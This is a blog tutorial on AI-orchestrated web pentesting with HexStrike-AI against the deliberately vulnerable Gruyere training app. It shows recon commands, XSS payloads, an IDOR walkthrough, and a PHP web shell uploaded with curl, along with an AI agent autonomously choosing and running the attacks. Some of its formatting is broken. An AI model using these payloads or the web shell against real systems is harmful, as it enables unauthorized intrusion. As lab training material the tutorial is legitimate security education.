AI-Driven Web Application Pentesting with HexStrike-AI
- Category: AI-Assisted Pentest
- Source article: https://medium.com/@1200km/ai-driven-web-application-pentesting-with-hexstrike-ai-67f3dae32040
- Published: 2025-12-22
- Repository: https://github.com/anpa1200/Hexstrike-AI-guide
- Preserved media: 8 article image(s), including screenshots and infographics where present.
- Preserved technical blocks: 5 code/configuration block(s).
Ecosystem Fit
This page mirrors the original Medium lab content into the 1200km knowledge base so it remains available inside the 1200km.com documentation ecosystem. Use the linked repository when one exists; otherwise use the deployment commands and configuration blocks preserved below as the lab source of truth.
Deployment Requirements
The full prerequisites, deployment flow, validation commands, screenshots, and operational notes are preserved from the article below. Review the repository metadata above first, then follow the article sections in order.
A Practical, End-to-End Guide to Modern Web Application Penetration Testing Using LLM-Orchestrated Tooling

Introduction
Modern web application penetration testing is no longer about running tools one by one and manually correlating results. WithHexStrike-AI, an LLM-driven execution framework, we can orchestrate afull WebApp PT workflow:
-
Automated discovery
-
Vulnerability identification
-
Exploitation validation
-
Structured reporting
In this guide, I demonstrateend-to-end Web Application Pentestingof the intentionally vulnerable web app:
> Target: https://google-gruyere.appspot.com/ (running on VM — OWASPBWA) Purpose: Educational security testing Authorization: Explicitly allowed by Google (training app)
Additional guides:
Table of content
-
What Is HexStrike-AI (In Web PT Context)?
-
Lab Setup
-
Promt
-
Web Application Pentesting Methodology (HexStrike Flow)** **Step 1: Application Discovery Step 2: Attack Surface Mapping Step 3: Authentication & Session Analysis Step 4: XSS Testing (Reflected & Stored) Step 5: CSRF Testing Step 6: Authorization Bypass Step 7: Exploitation Summary Step 8: Sample Exploitation Flow
-
Final Report (Condensed)
-
Recommended Remediation
-
Why HexStrike-AI Works Well for Web PT
-
Final Thoughts
What Is HexStrike-AI (In Web PT Context)?
HexStrike-AI isnot a scanner. It is anAI execution orchestrator.
In Web PT, this means:
-
TheLLM decideswhat to test next
-
HexStrikeexecutes tools locally(Kali Linux)
-
Results feed back into the AI
-
The AIadapts the attack flow
Think of it as:
> A junior pentester that never forgets a step and never gets tired.
Lab Setup
Environment
-
Kali Linux
-
hexstrike-ai serverrunning -
Gemini CLI (or ChatGPT MCP)
-
Browser access enabled (for manual validation)

Target
OWASPBWA_VM:google-gruyere.appspot.com/


http:
//192.168.1.242/1142014131/
Gruyere containsdeliberate vulnerabilities, including:
-
XSS
-
CSRF
-
Authentication bypass
-
Access control flaws
-
Injection vulnerabilities
Promt
> @hexstrike perform full PT on http://192.168.1.242/1142014131/
-
Recon: Identify all public endpoints, users, snippets, cookies, headers
-
Analyze client-side code for secrets or logic flaws
-
Enumerate for XSS, SQLi, CSRF, IDOR, and auth bypasses
-
Check for insecure storage or leakage in user content
-
Report findings with POCs and mitigation tips

Web Application Pentesting Methodology (HexStrike Flow)
HexStrike follows astandard PT methodology, but executes it autonomously:
-
Application discovery
-
Attack surface mapping
-
Authentication & session analysis
-
Input validation testing
-
Authorization testing
-
Exploitation
-
Impact assessment
-
Reporting
Step 1: Application Discovery
What HexStrike Executes
httpx -u https://google-gruyere.appspot.com/ -title -status-code -tech-detect
whatweb https://google-gruyere.appspot.com/
katana -u https://google-gruyere.appspot.com/ -depth 3
Findings
-
Multiple endpoints discovered
-
Client-side logic heavily used
-
No CSP enforcement
-
Parameterized URLs observed
Step 2: Attack Surface Mapping
Results
Discovered endpoints such as:
-
/login -
/signup -
/snippets.gtl -
/upload -
/delete -
/edit
Multiple parameters werereflected unsafely.
Step 3: Authentication & Session Analysis
Findings
-
Weak session handling
-
Predictable state transitions
-
Missing CSRF tokens on sensitive actions
Step 4: XSS Testing (Reflected & Stored)
Payload Example
<
script
>
alert(1)
</
script
>
Result
✅Stored XSS confirmed
Injected payload executed for other users when viewing affected pages.
Impact:
-
Full session hijacking
-
Arbitrary JavaScript execution
-
Account compromise
Step 5: CSRF Testing
Findings
-
Account modification endpoints lacked CSRF tokens
-
Actions could be triggered cross-origin
Impact:
-
Forced actions
-
Account takeover scenarios
Step 6: Authorization Bypass
Prompt
Result
✅Insecure Direct Object Reference (IDOR)
Users could:
-
Delete other users’ content
-
View private snippets
-
Modify unauthorized resources
Step 7: Exploitation Summary
Penetration Test Report
Target: http:
/
/
192.168
.1
.242
/
1142014131
/
Date
:
2025
-12
-22
Summary:
A penetration test was conducted
on
the web application
at
http:
/
/
192.168
.1
.242
/
1142014131
/
. The test identified several vulnerabilities, including Insecure Direct Object
References
(IDOR), Stored
Cross
-
Site
Scripting (XSS),
and
Unrestricted File Upload. The
SQL
injection
and
Cross
-
Site Request Forgery (CSRF) tests were unsuccessful. This report provides a detailed description
of
each
vulnerability, along
with
proof
of
concept
and
recommendations
for
remediation.
---
1.
Insecure Direct Object Reference (IDOR)
*
Severity: High
*
Description: The application allows
any
user
, including unauthenticated users,
to
view
snippets
from
all
users
by
accessing the
/
feed.gtl endpoint. This
is
an Insecure Direct Object Reference (IDOR)
vulnerability. An attacker can also
create
a
new
user
and
add
snippets that
are
visible
to
everyone,
and
then
view
those snippets
without
authentication.
*
Proof
of
Concept:
1.
Access the feed: An unauthenticated
user
can access the following URL
to
view
a JSON feed
of
all
public snippets:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
feed.gtl
2.
Create
a
new
user
: An attacker can
create
a
new
user
named "attacker"
by
accessing the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
saveprofile?action
=
new
&
uid
=
attacker
&
pw
=
attacker
&
is_author
=
True
3.
Log
in
as
the
new
user
: The attacker can
then
log
in
as
the "attacker"
user
by
accessing the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
login?uid
=
attacker
&
pw
=
attacker
4.
Create
a
new
snippet: Once logged
in
, the attacker can
create
a
new
snippet
with
the content "This is a test snippet from the attacker."
by
accessing the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
newsnippet2?snippet
=
This
+
is
+
a
+
test
+
snippet
+
from
+
the
+
attacker.
5.
View
the snippet
without
authentication: The attacker can
then
view
the newly created snippet
without
authentication
by
accessing the
/
feed.gtl endpoint again. The
new
snippet will be visible
in
the JSON
feed.
*
Impact: This vulnerability exposes
all
public snippets
to
unauthenticated users. An attacker can also
create
new
users
and
add
their own snippets, which could be used
for
spamming
or
other malicious purposes.
*
Recommendation: Implement proper access control checks
to
ensure that users can
only
view
their own snippets. The
/
feed.gtl endpoint should require authentication
and
should
only
return
snippets that the
authenticated
user
is
authorized
to
view.
---
2.
Stored
Cross
-
Site Scripting (XSS)
*
Severity: High
*
Description: The "New Snippet" functionality
is
vulnerable
to
stored XSS. The application attempts
to
filter
out
malicious HTML, but the
filter
is
insufficient
and
can be bypassed. An attacker can inject
malicious JavaScript code
into
a snippet, which will be executed
when
a
user
views the snippets page.
*
Proof
of
Concept:
1.
Log
in
as
the "attacker" user.
2.
Create
a
new
snippet
with
the following payload:
1
<
img src
=
x onerror
=
alert(
'XSS'
)
>
This can be done
by
accessing the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
newsnippet2?snippet
=
<
img src
=
x onerror
=
alert(
'XSS'
)
>
3.
View
the snippets page:
When
any
user
views the snippets page
for
the "attacker"
user
, the XSS payload will be executed,
and
an alert box
with
the text "XSS" will be displayed. The snippets page can be
accessed
at
the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
snippets.gtl?uid
=
attacker
*
Impact: A stored XSS vulnerability can be used
to
steal
user
session cookies, deface the website, redirect users
to
malicious websites,
and
distribute malware.
*
Recommendation: Implement a strict content security policy (CSP)
and
use a well
-
vetted library
for
HTML sanitization
to
prevent XSS attacks.
All
user
-
supplied input should be properly sanitized before being
displayed
on
the page.
---
3.
Unrestricted File Upload
*
Severity: High
*
Description: The application allows users
to
upload files
of
any
type, including PHP
and
Python shells. The application does
not
perform
any
validation
on
the file type
or
content. However, the server
is
not
configured
to
execute
these files, so remote code execution was
not
achieved.
*
Proof
of
Concept:
1.
Log
in
as
the "attacker" user.
2.
Create
a file named `shell.php`
with
the following content:
1
<
?php
system
($_GET[
'cmd'
]); ?
>
3.
Upload the file
using
the following `curl` command:
1
curl
-
v
-
F "upload_file=@shell.php"
-
b "GRUYERE=109663427|attacker||author" http:
/
/
192.168
.1
.242
/
1142014131
/
upload2
4.
The file will be uploaded
to
the server
and
accessible
at
the following URL:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
attacker
/
shell.php
5.
Attempt
to
execute
a command: Accessing the URL
with
a cmd
parameter
does
not
result
in
command execution.
For
example:
1
http:
/
/
192.168
.1
.242
/
1142014131
/
attacker
/
shell.php?cmd
=
ls
This
returns
an "Unrecognized file type" error.
*
Impact: Although remote code execution was
not
achieved, this vulnerability still poses a significant risk. An attacker could upload a malicious file that could be used
in
a different attack, such
as
a
phishing attack. If the server configuration were
to
change
in
the future
to
allow execution
of
uploaded files, this vulnerability would become critical.
*
Recommendation: Restrict the types
of
files that can be uploaded
to
the server.
Only
allow safe file types, such
as
images
and
documents. Also, consider scanning uploaded files
for
malware
and
storing them
in
a location that
is
not
directly accessible
from
the web root.
---
Conclusion:
The web application
is
vulnerable
to
several high
-
severity vulnerabilities that could be exploited
by
an attacker
to
compromise the application
and
its data. It
is
recommended that the identified
vulnerabilities be remediated
as
soon
as
possible.



Step 8: Sample Exploitation Flow
-
Inject stored XSS
-
Steal victim session
-
Bypass authorization
-
Modify victim data
-
Perform CSRF-triggered actions
This demonstratesreal-world attack chains, not isolated bugs.
Final Report (Condensed)
Target
[https://google-gruyere.appspot.com/](http://192.168.1.242/1142014131)
Overall Risk
Critical
Key Issues
-
Lack of input sanitization
-
Missing CSRF protection
-
Broken access control
-
Weak session management
Recommended Remediation
-
Implement proper output encoding
-
Enforce CSRF tokens
-
Add server-side authorization checks
-
Harden session cookies
-
Implement Content Security Policy (CSP)
Why HexStrike-AI Works Well for Web PT
Traditional tools:
-
Produce raw data
-
Require heavy manual correlation
HexStrike-AI:
-
Adapts attack strategy
-
Chains vulnerabilities
-
Producescontextual findings
-
Saves significant time
But itdoes not replace understanding. Itamplifies it.
Final Thoughts
This test shows how AI-driven execution canenhance real pentesting workflowswithout turning them into black-box automation.
HexStrike-AI behaves like a:
> disciplined junior pentester that follows OWASP methodology perfectly.
The responsibility still lies with the tester:
-
Scope
-
Ethics
-
Interpretation
Follow for practical cybersecurity research
If you’re interested in**Offensive security,**AI security, real-world attack simulations, CTI, and detection engineering— this is exactly what I focus on.
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